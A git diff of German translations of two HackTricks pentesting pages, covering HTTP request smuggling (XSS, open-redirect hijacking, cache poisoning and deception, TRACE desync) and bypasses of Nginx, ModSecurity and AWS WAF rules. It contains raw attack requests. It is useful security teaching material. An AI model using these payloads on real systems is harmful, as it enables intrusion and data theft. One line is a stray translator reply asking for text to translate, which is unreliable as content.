 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -515,36 +517,36 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-Dieses Payload ist so strukturiert, dass es die Schwachstelle ausnutzt, indem es:
+This payload ist so strukturiert, dass es die Verwundbarkeit ausnutzt durch:
 
-1. Eine `POST`-Anfrage initiiert, die scheinbar typisch ist, mit einem `Transfer-Encoding: chunked`-Header, um den Beginn des Smuggelns anzuzeigen.
-2. Gefolgt von einer `0`, die das Ende des chunked Nachrichtentexts markiert.
-3. Dann wird eine geschmuggelte `GET`-Anfrage eingeführt, bei der der `User-Agent`-Header mit einem Skript, `<script>alert(1)</script>`, injiziert wird, das die XSS auslöst, wenn der Server diese nachfolgende Anfrage verarbeitet.
+1. Initiieren eines `POST` Requests, scheinbar typisch, mit dem Header `Transfer-Encoding: chunked`, um den Beginn des Smuggling anzuzeigen.
+2. Gefolgt von einem `0`, das das Ende des chunked Message-Bodys markiert.
+3. Danach wird ein eingeschmuggelter `GET` Request eingeführt, bei dem der `User-Agent`-Header mit einem Skript injiziert wird, `<script>alert(1)</script>`, welches das XSS auslöst, wenn der Server diese nachfolgende Anfrage verarbeitet.
 
-Durch die Manipulation des `User-Agent` durch Smuggling umgeht das Payload die normalen Anfragebeschränkungen und nutzt somit die Reflected XSS-Schwachstelle auf eine nicht standardmäßige, aber effektive Weise aus.
+Durch die Manipulation des `User-Agent` mittels Smuggling umgeht das payload normale Anfragebeschränkungen und nutzt so die Reflected XSS Vulnerability auf eine nicht-standardmäßige, aber effektive Weise.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> Falls der Benutzerinhalt in einer Antwort mit einem **`Content-type`** wie **`text/plain`** widergespiegelt wird, wird die Ausführung der XSS verhindert. Wenn der Server **HTTP/0.9** unterstützt, könnte es möglich sein, dies zu umgehen!
+> Falls der Nutzerinhalt in einer Antwort mit einem **`Content-type`** wie **`text/plain`** reflektiert wird, verhindert das die Ausführung des XSS. Unterstützt der Server jedoch **HTTP/0.9**, könnte es möglich sein, dies zu umgehen!
 
-Die Version HTTP/0.9 war zuvor zu 1.0 und verwendet nur **GET**-Verben und **antwortet nicht** mit **Headers**, nur mit dem Body.
+Die Version HTTP/0.9 erschien vor 1.0 und verwendet nur **GET**-Verben und antwortet **nicht** mit **Headers**, sondern nur mit dem Body.
 
-In [**diesem Bericht**](https://mizu.re/post/twisty-python) wurde dies mit einem Request Smuggling und einem **anfälligen Endpunkt, der mit der Eingabe des Benutzers antwortet**, ausgenutzt, um eine Anfrage mit HTTP/0.9 zu schmuggeln. Der Parameter, der in der Antwort widergespiegelt wird, enthielt eine **falsche HTTP/1.1-Antwort (mit Headers und Body)**, sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthält.
+In [**this writeup**](https://mizu.re/post/twisty-python) wurde dies mittels request smuggling und einem verwundbaren Endpoint ausgenutzt, der die Eingabe des Nutzers zurückgibt, um eine Anfrage mit HTTP/0.9 einzuschmuggeln. Der in der Antwort reflektierte Parameter enthielt eine **fake HTTP/1.1 response (with headers and body)**, sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthält.
 
-### Ausnutzen von On-Site-Redirects mit HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Ausnutzen von On-site-Redirects mit HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Anwendungen leiten oft von einer URL zu einer anderen um, indem sie den Hostnamen aus dem `Host`-Header in der Umleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Zum Beispiel führt die Anforderung eines Ordners ohne abschließenden Schrägstrich zu einer Umleitung, um den Schrägstrich einzuschließen:
+Anwendungen leiten oft von einer URL zu einer anderen weiter, indem sie den Hostnamen aus dem `Host`-Header in der Redirect-URL verwenden. Das ist üblich bei Webservern wie Apache und IIS. Zum Beispiel führt das Anfordern eines Ordners ohne abschließenden Slash zu einer Weiterleitung, die den Slash hinzufügt:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Ergebnisse in:
+Ergibt:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Obwohl es harmlos erscheint, kann dieses Verhalten mithilfe von HTTP-Request-Smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel:
+Obwohl es harmlos erscheint, kann dieses Verhalten mit HTTP request smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -558,29 +560,29 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage auf eine von einem Angreifer kontrollierte Website umgeleitet wird:
+Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage auf eine vom Angreifer kontrollierte Website umgeleitet wird:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: XGET /scripts/include.js HTTP/1.1
 Host: vulnerable-website.com
 ```
-Ergebnisse in:
+Ergibt:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei hijacked. Der Angreifer kann potenziell den Benutzer kompromittieren, indem er bösartigen JavaScript als Antwort bereitstellt.
+In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei entführt. Der Angreifer kann den Benutzer potenziell kompromittieren, indem er als Antwort bösartigen JavaScript-Code ausliefert.
 
-### Ausnutzen von Web-Cache-Vergiftung über HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Web-Cache-Vergiftung kann ausgeführt werden, wenn irgendeine Komponente der **Front-End-Infrastruktur Inhalte cached**, typischerweise um die Leistung zu verbessern. Durch Manipulation der Serverantwort ist es möglich, den **Cache zu vergiften**.
+Web cache poisoning kann ausgeführt werden, wenn irgendeine Komponente der **Frontend-Infrastruktur Inhalte zwischenspeichert**, typischerweise zur Leistungsverbesserung. Durch Manipulation der Serverantwort ist es möglich, **poison the cache**.
 
-Zuvor haben wir beobachtet, wie Serverantworten geändert werden konnten, um einen 404-Fehler zurückzugeben (siehe [Basic Examples](#basic-examples)). Ähnlich ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird, was potenziell zu einem Denial of Service (DoS) führen kann.
+Zuvor haben wir gesehen, wie Serverantworten so verändert werden können, dass ein 404 error zurückgegeben wird (siehe [Basic Examples](#basic-examples)). Ebenso ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` auszuliefern. Infolgedessen wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, womit `/static/include.js` für Benutzer unzugänglich wird und dies möglicherweise zu einem Denial of Service (DoS) führt.
 
-Diese Technik wird besonders mächtig, wenn eine **Open Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Vor-Ort-Umleitung zu einer offenen Umleitung** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weitreichenden Cross-Site Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die das aktualisierte `/static/include.js` anfordern.
+Diese Technik wird besonders wirkungsvoll, wenn eine **Open Redirect vulnerability** entdeckt wird oder wenn es einen **on-site redirect to an open redirect** gibt. Solche Schwachstellen können ausgenutzt werden, um den gecachten Inhalt von `/static/include.js` durch ein vom Angreifer kontrolliertes Script zu ersetzen und damit einen großflächigen Cross-Site Scripting (XSS)-Angriff gegen alle Clients zu ermöglichen, die das aktualisierte `/static/include.js` anfordern.
 
-Nachfolgend ist eine Illustration des Ausnutzens von **Cache-Vergiftung kombiniert mit einer Vor-Ort-Umleitung zu einer offenen Umleitung**. Das Ziel ist es, den Cache-Inhalt von `/static/include.js` zu ändern, um JavaScript-Code bereitzustellen, der vom Angreifer kontrolliert wird:
+Im Folgenden eine Darstellung der Ausnutzung von **cache poisoning combined with an on-site redirect to open redirect**. Ziel ist es, den Cache-Inhalt von `/static/include.js` so zu ändern, dass JavaScript-Code ausgeliefert wird, der vom Angreifer kontrolliert wird:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -598,20 +600,20 @@ Content-Length: 10
 
 x=1
 ```
-Beachten Sie die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird auf `/post?postId=4` umgeleitet, wobei der **Host-Header-Wert** verwendet wird, um die Domain zu bestimmen. Durch Ändern des **Host-Headers** kann der Angreifer die Anfrage auf seine Domain umleiten (**on-site redirect to open redirect**).
+Beachte die eingebettete Anfrage, die auf `/post/next?postId=3` zielt. Diese Anfrage wird auf `/post?postId=4` umgeleitet, wobei der **Host header value** zur Bestimmung der Domain verwendet wird. Durch Ändern des **Host header** kann der Angreifer die Anfrage auf seine Domain umleiten (**on-site redirect to open redirect**).
 
-Nach erfolgreicher **Socket-Poisoning** sollte eine **GET-Anfrage** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **on-site redirect to open redirect**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
+Nach erfolgreichem **socket poisoning** sollte eine **GET request** für `/static/include.js` gestartet werden. Diese Anfrage wird durch die vorherige **on-site redirect to open redirect**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
 
-Anschließend wird jede Anfrage für `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers bereitstellen, was effektiv einen umfassenden XSS-Angriff auslöst.
+Anschließend wird jede Anfrage für `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers ausliefern und damit effektiv einen weitreichenden XSS-Angriff starten.
 
-### Verwendung von HTTP-Request-Smuggling zur Durchführung von Web-Cache-Deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
-> **Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Deception?**
+> **Was ist der Unterschied zwischen web cache poisoning und web cache deception?**
 >
-> - Bei **Web-Cache-Poisoning** verursacht der Angreifer, dass die Anwendung einige bösartige Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Anwendungsbenutzer ausgeliefert.
-> - Bei **Web-Cache-Deception** verursacht der Angreifer, dass die Anwendung einige sensible Inhalte, die einem anderen Benutzer gehören, im Cache speichert, und der Angreifer ruft dann diese Inhalte aus dem Cache ab.
+> - In **web cache poisoning**, der Angreifer bewirkt, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Anwender der Anwendung ausgeliefert.
+> - In **web cache deception**, der Angreifer bewirkt, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft diese Inhalte anschließend aus dem Cache ab.
 
-Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible benutzerspezifische Inhalte abruft. Betrachten Sie das folgende Beispiel:
+Der Angreifer erstellt eine smuggled request, die sensible, benutzerspezifische Inhalte abruft. Betrachte das folgende Beispiel:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -622,17 +624,17 @@ Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible benutzerspezifis
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Wenn diese geschmuggelte Anfrage einen Cache-Eintrag für statische Inhalte (z. B. `/someimage.png`) vergiftet, könnten die sensiblen Daten des Opfers von `/private/messages` unter dem Cache-Eintrag für statische Inhalte gespeichert werden. Folglich könnte der Angreifer potenziell diese zwischengespeicherten sensiblen Daten abrufen.
+Wenn diese eingeschmuggelte Anfrage einen für statische Inhalte gedachten Cache-Eintrag (z. B. `/someimage.png`) vergiftet, könnten die sensiblen Daten des Opfers von `/private/messages` unter dem Cache-Eintrag der statischen Inhalte gespeichert werden. Folglich könnte der Angreifer möglicherweise auf diese zwischengespeicherten sensiblen Daten zugreifen.
 
-### Missbrauch von TRACE über HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Missbrauch von TRACE mittels HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**In diesem Beitrag**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass es möglich sein könnte, die Methode TRACE zu missbrauchen, wenn der Server diese aktiviert hat, mit einem HTTP Request Smuggling. Dies liegt daran, dass diese Methode jeden Header, der an den Server gesendet wird, als Teil des Körpers der Antwort zurückgibt. Zum Beispiel:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass, wenn der Server die Methode TRACE aktiviert hat, es möglich sein könnte, diese mit HTTP Request Smuggling auszunutzen. Dies liegt daran, dass diese Methode jeden an den Server gesendeten Header als Teil des Antwortkörpers reflektiert. Zum Beispiel:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Please provide the text you would like me to translate.
+Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein; ich übersetze den relevanten englischen Text ins Deutsche und lasse Code, Techniknamen, Tags, Links und Pfade unverändert.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -643,17 +645,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine **HEAD-Anfrage zu schmuggeln**. Diese Anfrage wird nur mit den **Headern** einer GET-Anfrage beantwortet (**`Content-Type`** unter ihnen). Und schmuggeln Sie **unmittelbar nach dem HEAD eine TRACE-Anfrage**, die die gesendeten Daten **reflektiert**.\
-Da die HEAD-Antwort einen `Content-Length`-Header enthalten wird, wird die **Antwort der TRACE-Anfrage als der Körper der HEAD-Antwort behandelt, wodurch beliebige Daten** in der Antwort reflektiert werden.\
-Diese Antwort wird an die nächste Anfrage über die Verbindung gesendet, sodass dies **zum Beispiel in einer zwischengespeicherten JS-Datei verwendet werden könnte, um beliebigen JS-Code einzuschleusen**.
+Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine **HEAD request zu smuggle**. Auf diese Anfrage wird nur mit den **headers** einer GET request geantwortet (darunter **`Content-Type`**). Und smuggle **sofort nach dem HEAD eine TRACE request**, die die gesendeten **Daten reflektiert**.\
+Da die HEAD response einen `Content-Length`-Header enthält, wird die **Antwort der TRACE request als Body der HEAD response behandelt und spiegelt daher beliebige Daten** in der Antwort wider.\
+Diese Antwort wird an die nächste request über die Verbindung gesendet, sodass dies **z. B. in einer gecachten JS-Datei verwendet werden könnte, um beliebigen JS-Code zu injizieren**.
 
-### Ausnutzen von TRACE über HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Missbrauch von TRACE mittels HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Es wird empfohlen, [**diesen Beitrag**](https://portswigger.net/research/trace-desync-attack) zu verfolgen, um eine weitere Möglichkeit auszunutzen, die TRACE-Methode zu missbrauchen. Wie kommentiert, ist es durch das Schmuggeln einer HEAD-Anfrage und einer TRACE-Anfrage möglich, **einige reflektierte Daten** in der Antwort auf die HEAD-Anfrage zu **steuern**. Die Länge des Körpers der HEAD-Anfrage wird im Wesentlichen im Content-Length-Header angegeben und wird durch die Antwort auf die TRACE-Anfrage gebildet.
+Es wird empfohlen, weiterhin [**this post**](https://portswigger.net/research/trace-desync-attack) zu lesen; dort wird eine andere Möglichkeit beschrieben, die TRACE-Methode zu missbrauchen. Wie bereits erwähnt, ermöglicht das smuggling einer HEAD request und einer TRACE request, **einige reflektierte Daten** in der Antwort auf die HEAD request zu kontrollieren. Die Länge des Bodys der HEAD request wird im Wesentlichen im `Content-Length`-Header angegeben und besteht aus der Antwort auf die TRACE request.
 
-Daher wäre die neue Idee, dass, wenn man diesen Content-Length und die in der TRACE-Antwort gegebenen Daten kennt, es möglich ist, die TRACE-Antwort so zu gestalten, dass sie eine gültige HTTP-Antwort nach dem letzten Byte des Content-Length enthält, was es einem Angreifer ermöglicht, die Anfrage zur nächsten Antwort vollständig zu steuern (was verwendet werden könnte, um eine Cache-Vergiftung durchzuführen).
+Daraus ergibt sich die Idee, dass man, wenn man diese `Content-Length` und die in der TRACE-Antwort gelieferten Daten kennt, die TRACE-Antwort so gestalten kann, dass sie nach dem letzten Byte der Content-Length eine gültige HTTP-Antwort enthält. Dadurch kann ein Angreifer die Anfrage für die nächste Antwort vollständig kontrollieren (was zur Durchführung eines cache poisoning verwendet werden könnte).
 
-Beispiel:
+Example:
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -672,7 +674,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Wird diese Antworten generieren (beachten Sie, wie die HEAD-Antwort eine Content-Length hat, wodurch die TRACE-Antwort Teil des HEAD-Körpers wird, und sobald die HEAD Content-Length endet, wird eine gültige HTTP-Antwort geschmuggelt):
+Erzeugt diese responses (achte darauf, wie die HEAD response eine Content-Length hat, wodurch die TRACE response Teil des HEAD body wird und sobald die HEAD Content-Length endet, eine gültige HTTP response geschmuggelt wird):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -693,18 +695,18 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### Waffensystematisierung von HTTP Request Smuggling mit HTTP Response Desynchronisation
+### Einsatz von HTTP Request Smuggling mit HTTP Response Desynchronisation
 
-Haben Sie eine HTTP Request Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen können? Versuchen Sie diese andere Methode der Ausnutzung:
+Hast du eine HTTP Request Smuggling-Schwachstelle gefunden und weißt nicht, wie du sie ausnutzen kannst? Probiere diese anderen Methoden der Ausnutzung:
 
 
 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}
 
-### Weitere HTTP Request Smuggling Techniken
+### Weitere HTTP Request Smuggling-Techniken
 
-- Browser HTTP Request Smuggling (Client-Seite)
+- Browser HTTP Request Smuggling (Client Side)
 
 
 {{#ref}}
@@ -718,7 +720,7 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
 
-## Turbo Intruder Skripte
+## Turbo intruder Skripte
 
 ### CL.TE
 
@@ -805,18 +807,18 @@ time.sleep(0.05)
 def handleResponse(req, interesting):
 table.add(req)
 ```
-## Tools
+## Werkzeuge
 
-- HTTP Hacker (Burp BApp Store) – visualisiert die Verkettung/Framing und das Verhalten von HTTP auf niedriger Ebene
+- HTTP Hacker (Burp BApp Store) – visualisiert Verkettung/Framing und niedrigstufiges HTTP‑Verhalten
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammatikbasiertes HTTP-Fuzzer, das nützlich ist, um seltsame Unterschiede beim Request Smuggling zu finden.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammar-basierter HTTP Fuzzer, nützlich, um ungewöhnliche request smuggling‑Abweichungen zu finden.
 
-## References
+## Referenzen
 
 - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
 - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@@ -827,7 +829,7 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Vorsicht vor false false‑positives: wie man HTTP pipelining von request smuggling unterscheidet – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)

src/pentesting-web/proxy-waf-protections-bypass.md

@@ -1,13 +1,13 @@
-# Proxy / WAF Schutzumgehung
+# Proxy / WAF Protections Bypass
 
 {{#include ../banners/hacktricks-training.md}}
 
 
-## Umgehung von Nginx ACL-Regeln mit Pfadmanipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
+## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
 
-Techniken [aus dieser Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+Techniken [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
 
-Beispiel für eine Nginx-Regel:
+Nginx-Regelbeispiel:
 ```plaintext
 location = /admin {
 deny all;
@@ -17,11 +17,11 @@ location = /admin/ {
 deny all;
 }
 ```
-Um Umgehungen zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor es diesen überprüft. Wenn der Backend-Server jedoch eine andere Normalisierung vornimmt (Zeichen entfernt, die Nginx nicht entfernt), könnte es möglich sein, diese Verteidigung zu umgehen.
+Um Bypässe zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor es geprüft wird. Wenn der Backend-Server jedoch eine andere Normalisierung durchführt (z. B. das Entfernen von Zeichen, die nginx nicht entfernt), kann es möglich sein, diese Abwehr zu umgehen.
 
 ### **NodeJS - Express**
 
-| Nginx Version | **Node.js Bypass-Zeichen**   |
+| Nginx Version | **Node.js Bypass Characters** |
 | ------------- | ----------------------------- |
 | 1.22.0        | `\xA0`                        |
 | 1.21.6        | `\xA0`                        |
@@ -31,23 +31,23 @@ Um Umgehungen zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor e
 
 ### **Flask**
 
-| Nginx Version | **Flask Bypass-Zeichen**                                   |
-| ------------- | ---------------------------------------------------------- |
-| 1.22.0        | `\x85`, `\xA0`                                           |
-| 1.21.6        | `\x85`, `\xA0`                                           |
+| Nginx Version | **Flask Bypass Characters**                                    |
+| ------------- | -------------------------------------------------------------- |
+| 1.22.0        | `\x85`, `\xA0`                                                 |
+| 1.21.6        | `\x85`, `\xA0`                                                 |
 | 1.20.2        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
 | 1.18.0        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
 | 1.16.1        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
 
 ### **Spring Boot**
 
-| Nginx Version | **Spring Boot Bypass-Zeichen** |
-| ------------- | ------------------------------- |
-| 1.22.0        | `;`                             |
-| 1.21.6        | `;`                             |
-| 1.20.2        | `\x09`, `;`                     |
-| 1.18.0        | `\x09`, `;`                     |
-| 1.16.1        | `\x09`, `;`                     |
+| Nginx Version | **Spring Boot Bypass Characters** |
+| ------------- | --------------------------------- |
+| 1.22.0        | `;`                               |
+| 1.21.6        | `;`                               |
+| 1.20.2        | `\x09`, `;`                       |
+| 1.18.0        | `\x09`, `;`                       |
+| 1.16.1        | `\x09`, `;`                       |
 
 ### **PHP-FPM**
 
@@ -62,32 +62,32 @@ include snippets/fastcgi-php.conf;
 fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 }
 ```
-Nginx ist so konfiguriert, dass der Zugriff auf `/admin.php` blockiert wird, aber es ist möglich, dies zu umgehen, indem man auf `/admin.php/index.php` zugreift.
+Nginx ist so konfiguriert, dass der Zugriff auf `/admin.php` blockiert wird, aber es ist möglich, dies zu umgehen, indem man `/admin.php/index.php` aufruft.
 
-### Wie man verhindert
+### Wie verhindert man das?
 ```plaintext
 location ~* ^/admin {
 deny all;
 }
 ```
-## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+## ModSecurity-Regeln umgehen <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 
-### Path Confusion
+### Pfad-Verwirrung
 
-[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die `REQUEST_FILENAME`**-Variable unsachgemäß implementiert hat, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Dies liegt daran, dass eine URL-Dekodierung durchgeführt wurde, um den Pfad zu erhalten.\
-Daher wird eine Anfrage wie `http://example.com/foo%3f';alert(1);foo=` in Mod Security annehmen, dass der Pfad nur `/foo` ist, da `%3f` in `?` umgewandelt wird, was den URL-Pfad beendet, aber tatsächlich wird der Pfad, den ein Server erhält, `/foo%3f';alert(1);foo=` sein.
+[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die Variable `REQUEST_FILENAME` fehlerhaft implementiert** hat, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Dies liegt daran, dass eine URL-Decodierung durchgeführt wurde, um den Pfad zu erhalten.\
+Deshalb wird eine Anfrage wie `http://example.com/foo%3f';alert(1);foo=` in mod security so behandelt, als wäre der Pfad nur `/foo`, weil `%3f` in `?` umgewandelt wird und damit das URL-Pfadende markiert, in Wirklichkeit erhält der Server aber den Pfad `/foo%3f';alert(1);foo=`.
 
-Die Variablen `REQUEST_BASENAME` und `PATH_INFO` waren ebenfalls von diesem Fehler betroffen.
+Die Variablen `REQUEST_BASENAME` und `PATH_INFO` waren ebenfalls von diesem Bug betroffen.
 
-Etwas Ähnliches geschah in Version 2 von Mod Security, das es ermöglichte, einen Schutz zu umgehen, der verhinderte, dass Benutzer auf Dateien mit bestimmten Erweiterungen, die mit Sicherungsdateien (wie `.bak`) verbunden sind, zugreifen konnten, indem einfach der Punkt URL-kodiert in `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.
+Etwas Ähnliches trat in Version 2 von ModSecurity auf, was es erlaubte, einen Schutz zu umgehen, der Benutzer daran hinderte, auf Dateien mit bestimmten Erweiterungen für Backup-Dateien (wie `.bak`) zuzugreifen, indem der Punkt einfach URL-codiert als `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.
 
-## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+## AWS WAF ACL umgehen <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 
-### Malformed Header
+### Fehlformatierter Header
 
-[Diese Forschung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "fehlerhafter" Header gesendet wurde, der von AWS nicht richtig analysiert, aber vom Backend-Server verarbeitet wurde.
